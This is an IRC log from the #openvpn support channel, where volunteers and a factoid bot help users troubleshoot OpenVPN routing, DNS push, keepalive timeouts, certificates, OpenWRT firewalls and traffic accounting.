11:16 < mementomori> this is the log: http://pastebin.com/bcEJ8Vqc
11:17 -!- sauce [sauce@unaffiliated/sauce] has quit [Quit: sauce]
11:19 < mementomori> this is the server log: http://pastebin.com/pCd5TJPt
11:20 < DrCode> Is there HTML5 client that can connect to OpenVPN server?
11:21 < mementomori> I think I've provided everything...
11:21 < Nothing4You> DrCode: how the fuck would that work?
11:22 < mementomori> Eugene, are the informations enough?
11:22 < DrCode> I just ask , don't know
11:22 < Nothing4You> you know how openvpn works?
11:22 < DrCode> yep, I use it
11:23 < DrCode> I am looking for html5 opensource vpn
11:23 < DrCode> like openvpn
11:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
11:23 < Nothing4You> it works on a system level, not on an application or even browser tab level
11:24 < Nothing4You> if you know how openvpn works you also know you can't do that with html5
11:24 < Eugene> !routebyapp
11:24 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
11:25 < DrCode> I see
11:25 < Eugene> mementomori - I don't see anything obvious, but I'm also doing $DAYJOB right now
11:26 < Eugene> Stick around, somebody should have a look
11:26 < mementomori> Eugene, this is quite sad...
11:26 < mementomori> Eugene, but I want to thank you anyway
11:26 < DrCode> ok, Thankyou
11:26 < DrCode> I am using openvpn and its worked perfect
11:27 < DrCode> I love the portshare option in openvpn
11:29 < mementomori> I thought it was a 'simply' routing problem given the fact the client is dual homed and maybe the packets were following a wrong path (or maybe they dont know how to come back)...
11:35 < jzaw> !handholding
11:35 < jzaw> aw
11:48 -!- shutin [~ks@unaffiliated/shutin] has joined #openvpn
11:49 < pekster> mementomori: The route to 10.27.0.1/32 is listed on the interface for your NIC, with a gateway across the VPN. Further, your interface printout appears to be using 10.27.0.228/30, despite the server pushing a client IP of 10.27.0.18/30 to be used by the client.
11:49 < pekster> Where the heck did that 10.27.0.228 IP come from?
11:50 < Eugene> !spoonfeeding
11:50 <@vpnHelper> "spoonfeeding" is http://www.mp3car.com/the-faq-emporium/53368-faq-what-is-spoon-feeding.html
11:50 < Eugene> jzaw ^
11:50 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
11:50 < pekster> It's almost liked you've managed to statically define that on the adapter on the client side, and the OS was stupid enough to let you add a gateway on an interface it won't work with
11:51  * pekster is reminded why Windows doesn't make a good router. Not that I needed another example
11:56 < jzaw> Eugene, thats what i was looking for
11:56 < jzaw> ta
11:57 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:58 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Excess Flood]
11:59 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
12:02 -!- shutin [~ks@unaffiliated/shutin] has quit [Ping timeout: 256 seconds]
12:10 -!- Poison [~Poison@120.28.169.165] has joined #openvpn
12:10 -!- KWhat_Work [~abarker@abarker.callutheran.edu] has joined #openvpn
12:11 < KWhat_Work> Is there a client conf option to ignore dns push or at least set the dns push to like a 3rd name server ?
12:13 -!- Poison [~Poison@120.28.169.165] has quit [Client Quit]
12:13 < pekster> KWhat_Work: What OS?
12:13 < KWhat_Work> pekster: linux
12:14 < pekster> Just don't process the variable that's set then. By default Linux or Unix won't mess with DNS at all
12:14 < pekster> !pushdns
12:14 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
12:14 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
12:14 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Ping timeout: 256 seconds]
12:16 < pekster> KWhat_Work: Put another way, *nix clients already "ignore" any pushed --dhcp-option directives. See that element in the manpage, but all it does is export them as env-vars for scripts to process
12:18 < KWhat_Work> pekster: Ahh ok so I must have another script somewhere processing that foreign_option_
12:19 < KWhat_Work> ahhh ok i see thanks for the help pekster
12:22 -!- shutin [~ks@unaffiliated/shutin] has joined #openvpn
12:24 -!- KWhat_Work [~abarker@abarker.callutheran.edu] has left #openvpn []
12:25 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
12:28 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
12:28 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
12:29 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
12:29 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Client Quit]
12:31 -!- shutin [~ks@unaffiliated/shutin] has quit [Ping timeout: 252 seconds]
12:34 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:35 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
12:36 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
12:41 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
12:42 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
12:47 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 264 seconds]
12:56 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Operation timed out]
12:57 -!- Orbi [~opera@46.246.35.29] has joined #openvpn
13:25 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 248 seconds]
13:25 -!- Chiyo [~Chiyo@pdpc/supporter/active/chiyo] has joined #openvpn
13:25 -!- Chiyo [~Chiyo@pdpc/supporter/active/chiyo] has left #openvpn []
13:29 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has joined #openvpn
13:39 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
13:49 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 276 seconds]
13:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
13:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:01 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
14:02 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 264 seconds]
14:10 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-otezoyzazyocrqih] has quit [Ping timeout: 245 seconds]
14:12 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
14:13 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
14:13 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
14:17 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Remote host closed the connection]
14:21 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zhfxdeiwurgcoinc] has joined #openvpn
14:22 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
14:24 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
14:25 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
14:28 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
14:31 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has quit [Remote host closed the connection]
14:32 -!- Mr_Worldwide [~Markz@static.238.78.9.176.clients.your-server.de] has joined #openvpn
14:32 < Mr_Worldwide> cannit resolve the hostname link is valid but ni files in or so
14:32 < Mr_Worldwide> hi
14:32 < Mr_Worldwide> just udp tcp good
14:33 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
14:33 < Mr_Worldwide> inanctivity timeout and than cannot resolve the hostname
14:35 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
14:35 < Mr_Worldwide> i try this with an ip adress from the hostname and than the same with inactivit timeout but after one minute or longer i can surf again but it happend all 30 minutes or so
14:36 < Mr_Worldwide> no good
14:36 < Mr_Worldwide> what can i do
14:37 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
14:38 < Mr_Worldwide> i try to ping -t google.com but with the ping all the time the same with inactivity timeout hm
14:39 < Mr_Worldwide> udp tcp not
14:40 < pekster> Mr_Worldwide: Logs please. Note that an inactivity timeout is different than a ping timeout when no channel ping is received from the peer in the time defined by a --ping-restart or --ping-exit directive
14:40 -!- shutin [~ks@unaffiliated/shutin] has joined #openvpn
14:41 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Remote host closed the connection]
14:43 < Mr_Worldwide> all text of the logs?
14:44 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
14:45 < Mr_Worldwide> the cannot revolve the hostname is not in the text because i have change the hostname to an static ip address but normally the output comes with cannot resolve the hostname
14:47 < Mr_Worldwide> much work to add the ip addresses in the .ovpn files sweden swiss etc
14:47 < pekster> That's not helpful right now. Obviously if your DNS server is unreachable it can't use your resolver
14:47 < pekster> !logs
14:47 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:47 < pekster> I'm not going to guess at your problem
14:48 < Mr_Worldwide> ok
14:49 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 264 seconds]
14:51 < Mr_Worldwide> https://privatepaste.com/f5deeb7af5
14:52 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
14:53 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
14:53 < pekster> Mr_Worldwide: Line 55, the inactivity timeout is due to --ping-restart, which means the client didn't get an openvpn keepalive packet from the peer in 120 seconds. Have you properly configured them on your server?
14:54 < Mr_Worldwide> its not my server its the server from kryptotel?
14:54 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
14:55 < pekster> Then I can't help
14:55 < pekster> !provider
14:55 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
14:55 < pekster> !both
14:55 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
14:55 < Mr_Worldwide> should i add keepalive in the config file?
14:56 < pekster> Either the keepalive packets aren't sent due to a misconfiguration, or they're all getting lost/blocked/dropped, which is highly unlikely after connection esetablishment
14:56 < pekster> You already have that effect. See line 21 in that paste; it's getting pushed from the server already
14:57 < pekster> Without seeing the server config, I can't suggest which of the two options I've listed above is the cause
14:58 < Mr_Worldwide> should i post the logs of the tcp connection?
14:59 < Mr_Worldwide> with tcp no problems
14:59 -!- blubje [~blubje@5353590A.cm-6-4b.dynamic.ziggo.nl] has joined #openvpn
14:59 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Remote host closed the connection]
14:59 < blubje> evening
14:59 < pekster> It won't help, so no, I don't care to see them
15:00 < blubje> who can help me with a quick question im trying to connect two networks through openvpn
15:00 < blubje> make it see each other as one logical network
15:00 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
15:00 < Mr_Worldwide> i have here only the client .ovpn files
15:01 < pekster> Yes. This is why you cannot be helped. This channel is for discussion and help with openvpn, not a company that uses openvpn
15:01 < pekster> blubje: 2 LANs, one behind each of your VPN endpoints?
15:02 -!- Mr_Worldwide [~Markz@static.238.78.9.176.clients.your-server.de] has quit [Quit: Verlassend]
15:03 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has quit [Remote host closed the connection]
15:04 -!- johncarter [~holycow@host-216-251-135-194.bchsia.skywaywest.net] has joined #openvpn
15:04 < johncarter> hi guys
15:04 < johncarter> i am installing opvenvpn server on a windows machine for the first time following this:
15:04 < johncarter> http://www.ciscopress.com/articles/article.asp?p=605499&seqNum=2
15:04 <@vpnHelper> Title: Creating Certificates > How to Configure OpenVPN (at www.ciscopress.com)
15:05 < johncarter> when i create certs for clients, the client.crt file is 0bytes (empty)
15:05 < pekster> !howto
15:05 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:05 < johncarter> okay thank you
15:05 < pekster> Use the official openvpn howto. We generally won't try to support 3rd party stuff since it tends to be wrong or outdated
15:05 < johncarter> aha okay
15:05 < johncarter> makes sense let me read
15:08 -!- shutin [~ks@unaffiliated/shutin] has quit [Ping timeout: 248 seconds]
15:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:23 -!- dazo is now known as dazo_afk
15:27 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:40 -!- shutin [~ks@unaffiliated/shutin] has joined #openvpn
15:40 -!- shutin [~ks@unaffiliated/shutin] has left #openvpn []
15:42 -!- Orbi [~opera@46.246.35.29] has left #openvpn []
15:43 -!- johncarter [~holycow@host-216-251-135-194.bchsia.skywaywest.net] has quit [Quit: Lost terminal]
15:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
16:03 -!- dvl- [~dan@nyi.unixathome.org] has quit [Changing host]
16:03 -!- dvl- [~dan@pdpc/supporter/active/dvl] has joined #openvpn
16:07 -!- dvl- is now known as dvl
16:08 -!- ccherrett [~christoph@184.70.186.190] has joined #openvpn
16:08 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has quit [Ping timeout: 246 seconds]
16:09 < ccherrett> Unroutable control packet recieved from <your ip> <- is this a sign of clocks being out of sync? because I cannot see that is the case
16:14 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
16:19 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has quit [Ping timeout: 245 seconds]
16:20 < pekster> ccherrett: Looks like that message occurs when a TLS packet isn't a new session (ie: new connecting client) but doesn't have a connection to an existing session. Clock sync shouldn't cause that as it's checking the status of the session from OpenVPN's view
16:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
16:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:21 -!- blubje [~blubje@5353590A.cm-6-4b.dynamic.ziggo.nl] has quit []
16:22 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has joined #openvpn
16:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:23 < eutheria> hello, i am trying to figure out what i've missed, i have a pre-shared key setup with a server running behind a firewall with no iptable rules and openvpn on an openwrt router
16:24 < eutheria> i can connect to the server from openwrt however i can't ping the remote networks
16:24 < eutheria> i've added routes to each side pointing to the tun device
16:25 < eutheria> on the openwrt device i relaxed the iptable rules to allow the bride device to the tun device and vice versa
16:25 < pekster> With a PSK setup you don't need explicit routes as the route to the peer will be on-link
16:25 < pekster> And you can't bridge tuns
16:26 < eutheria> i am not
16:26 < pekster> Oh, you mean forwarding, k
16:26 < eutheria> yes but it is a bridged interface
16:26 < pekster> Can you ping across the VPN using the VPN IPs of each peers?
16:27 < pekster> For your LAN, right. That's not important if you're trying to route across the VPN link, so we can happily ignore that local network bridge
16:27 < eutheria> on the tun0 i have inet addr:172.16.7.1  P-t-P:172.16.7.2  Mask:255.255.255.255
16:27 < pekster> So can you ping 172.16.7.2 from that host?
16:28 < eutheria> no it don't seem to be able to
16:28 < pekster> Probably a firewall problem then. Do you see the encapsulated tunnel packet if you tcpdump on your target system?
16:29 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
16:29 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
16:29 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
16:29 < eutheria> let me see if openwrt has a tcpdump package
16:29 < pekster> You can rig a "poor man's tcpdump" by using netfilter rules too, ideally on raw/PREROUTING
16:30 < eutheria> oh it does, openwrt is not bad at all
16:30 < pekster> (just make a rule with no target, and use the hitcounter to see if the packet comes in.) You also need to accept the inbound packet on filter/INPUT if you expect it to reach your local process
16:31 < eutheria> 21:30:48.581994 IP 172.16.7.1 > 172.16.7.2: ICMP echo request, id 8669, seq 0, length 64
16:31 < eutheria> yes i see traffic
16:31 < eutheria> no <
16:31 < pekster> ?
16:31 < eutheria> no reply
16:31 < eutheria> i see see the out going
16:32 < pekster> Dump on your other endpoint to see if it's getting the packet then
16:32 < pekster> Either it's not getting there (firewall issue, or other config problem like mis-matched keys or crypto settings) or its firewall prevents it from replying
16:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
16:34 < eutheria> i think i see the problem
16:37 < eutheria> maybe not yes the remote end can see the pings
16:38 < pekster> On the tun device? If so, it's getting the ping fine. If you don't seen an output it's a firewall issue
16:39 < pekster> Just follow the flow of traffic. Where it stops lies your problem
16:40 < eutheria> i am sure it is on the openwrt device lots of traffic rules
16:40 < eutheria> the server has no rules
16:41 -!- Mr_Worldwide [~Markz@static.238.78.9.176.clients.your-server.de] has joined #openvpn
16:41 < pekster> I hate openwrt's firewall. I have a replacement if you want to give up LuCI management and per-rule UCI management here: http://pekster.sdf.org/code/projects/openwrt.html
16:42 <@vpnHelper> Title: OpenWRT Misc Code and Scripts (at pekster.sdf.org)
16:42 < pekster> OpenWRT's crap is stupidly complicated for the sole purpose of giving users a GUI
16:42 < Mr_Worldwide> i think i have solved my problems
16:42 < Mr_Worldwide> because the router port 1194 now i think stable without connetivity lossos
16:42 < Mr_Worldwide> udp
16:43 < Mr_Worldwide> why not say me this before days longer before
16:43 < Mr_Worldwide> i tapped in the darkness
16:43 < pekster> Mr_Worldwide: No one here has much of a clue what you're saying. I understand language may be a barrier, but I still have no clue what any of what you've said means
16:44 < Mr_Worldwide> port forwarding 1194 now udp good
16:44 < Mr_Worldwide> udp and tcp now good
16:44 < pekster> You wouldn't have been able to establish a connection without the correct forwarding, so I'm still unclear why that matters. Maybe your firewall had other issues?
16:45 < pekster> Either way, good you found the problem
16:46 < Mr_Worldwide> no i had establisht it before i portforwarding 1194 but after 30 minutes los and i wasnt been en able to ping the ip of the vpn now i can ping the ip of the vpn
16:46 < Mr_Worldwide> now good
16:47 < Mr_Worldwide> now no timeout connection establisht before but now no timeout
16:48 <@krzee> without port forwarding you will NOT establish a connection to a host behind a NAT
16:48 <@krzee> (like pekster said)
16:48 < Mr_Worldwide> i was be able before that but with connection lossos
16:49 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:51 < jzaw> <pekster> OpenWRT's crap is stupidly complicated for the sole purpose of giving users a GUI
16:51 < jzaw> i cant agree more
16:51 -!- Patrick__ [~Markz@static.238.78.9.176.clients.your-server.de] has joined #openvpn
16:51 < Patrick__> hm
16:52 < pekster> jzaw: For the firewall anyway. Some stuff that platform does well, but chains nested 5 levels deep isn't one of them
16:52 -!- Patrick__ [~Markz@static.238.78.9.176.clients.your-server.de] has quit [Read error: Connection reset by peer]
16:52 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:52 -!- Mr_Worldwide [~Markz@static.238.78.9.176.clients.your-server.de] has quit [Read error: Connection reset by peer]
16:52 < jzaw> aye i was thinking particularly of that
16:53 < jzaw> i cant abide but have to tolerate the uci stuff
16:53 < pekster> Feel free to use and improve upon my code if you'd like, since it's GPL. Any constructive changes that serve a benefit I'm happy to explore merging too. I'll probably toss that up on github when I re-design my source systems internally
16:53 < pekster> Well, my system uses UCI too for the operation of the initscript
16:53 < jzaw> mostly i sidestep it like i did with openvpn by using some sort of include ... and conf file in the proper place
16:54 < pekster> I just do it in a smart way that anyone who knows how to use netfilter correctly can take advantage of
16:54 -!- Mr_Worldwide [~Markz@static.238.78.9.176.clients.your-server.de] has joined #openvpn
16:54 < jzaw> yeah looked good
16:54 < Mr_Worldwide> this is shit
16:54 < pekster> The readme in my tarball is pretty complete (it's actually a larger filesize than the script is ;)
16:55 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has quit [Ping timeout: 245 seconds]
16:55 -!- Mr_Worldwide [~Markz@static.238.78.9.176.clients.your-server.de] has quit [Read error: Connection reset by peer]
16:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
17:00 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
17:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:08 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
17:10 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
17:10 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has joined #openvpn
17:11 -!- syzzer [~steffan@50709C18.static.ziggozakelijk.nl] has joined #openvpn
17:14 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
17:14 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has joined #openvpn
17:15 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
17:16 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has joined #openvpn
17:26 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
17:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:43 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
17:43 -!- kisom [~kisom@130.237.41.249] has quit [Quit: Lost terminal]
17:44 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
17:46 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Client Quit]
17:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:58 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
18:07 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:08 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:10 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
18:18 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
18:22 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
18:24 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 246 seconds]
18:29 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
18:30 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has quit [Remote host closed the connection]
18:32 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
18:38 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
18:39 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Remote host closed the connection]
18:42 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:55 -!- FluxD [~FluxD@unaffiliated/fluxd] has quit [Ping timeout: 252 seconds]
18:59 -!- FluxD [~FluxD@rrcs-24-227-222-138.sw.biz.rr.com] has joined #openvpn
18:59 -!- FluxD [~FluxD@rrcs-24-227-222-138.sw.biz.rr.com] has quit [Changing host]
18:59 -!- FluxD [~FluxD@unaffiliated/fluxd] has joined #openvpn
19:07 -!- el2ro [~quassel@95.154.196.68] has quit [Quit: No Ping reply in 180 seconds.]
19:07 -!- el2ro [~quassel@95.154.196.68] has joined #openvpn
19:08 -!- elc0 [~andy@c-71-205-251-207.hsd1.mi.comcast.net] has joined #openvpn
19:08 -!- GGD [~GGD@pool-173-72-253-89.clppva.fios.verizon.net] has joined #openvpn
19:08 < GGD> evening all
19:08 < elc0> does openvpn have any method to determine data usage per user, or would the only way to handle that be from the OS?
19:09 < pekster> elc0: Env-vars available from the --client-disconnect script can report that, as can the status file (via --status directive, which can also be dumped to the log via SIGUSR2)
19:10 < pekster> See a sample script I wrote that does some misc accounting here:
19:10 < pekster> !accounting
19:10 <@vpnHelper> "accounting" is http://pekster.sdf.org/code/files/openvpn-user-accounting.tgz for some bash code for basic accounting
19:12 < GGD> arrgh  i can't seem to get my connection to work  i forwarded the port and regenerated the certs and i can ping the router
19:12 < GGD> i think i put everything in its place
19:13 < elc0> pekster, thanks much!
19:15 < GGD> is there issues with openvpn and fedora 18?
19:17 < FluxD> !static
19:17 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
19:17 < FluxD> !statickey
19:17 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
19:17 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
19:18 < FluxD> !forwardsecurity
19:18 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
19:18 < pekster> GGD: Shouldn't be
19:18 < GGD> odd
19:18 < GGD> i am getting a activation failed
19:18 < GGD> on that network
19:19 < pekster> !logs
19:19 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
19:19 < pekster> !configs
19:19 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
19:19 < pekster> "activation failed" is not a valid OpenVPN log message, and the context matters a lot
19:19 < GGD> i know
19:19 < GGD> i didn't change anything before
19:19 < GGD> when it worked
19:20 < GGD> activation of network failed
19:20 < pekster> Good luck with that. The entire openvpn source code does not contain the word "activation"
19:20 < pekster> Try again when you have something useful
19:21 < GGD> i will i am sorry
19:21 < GGD> i wasn't sure if it was an openvpn issue
19:22 < pekster> Could be, I have no idea what's giving you that message. We deal with openvpn here, so for all I know some Fedora frontend is generating that in response to an openvpn issue. Or it could be completely unrelated
19:22 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
19:22 < pekster> What happens if you call openvpn directly from the command line using the --config option? Does it work then?
19:22 < GGD> how do i do that from the command line?
19:22 < GGD> forgive me i am used to the network manager
19:22 < pekster> !nm
19:22 < pekster> !netman
19:22 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
19:23 < pekster> Simply, `openvpn --config someconfigfile.conf` will start openvpn and reference the specified file as its configuration
19:24 < pekster> Network Manager is generally an awful tool to use since it doesn't expose the configuration for you to see/understand, and doesn't easily expose the actual error (such as this case.) We generally suggest people avoid it, at least if you're having problems
19:24 < GGD> ok
19:24 < GGD> hold on i will do that and see if it works
19:25 -!- smerz_ [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
19:27 < GGD> ok
19:27 < GGD> hold on
19:32 -!- GGD [~GGD@pool-173-72-253-89.clppva.fios.verizon.net] has quit [Ping timeout: 256 seconds]
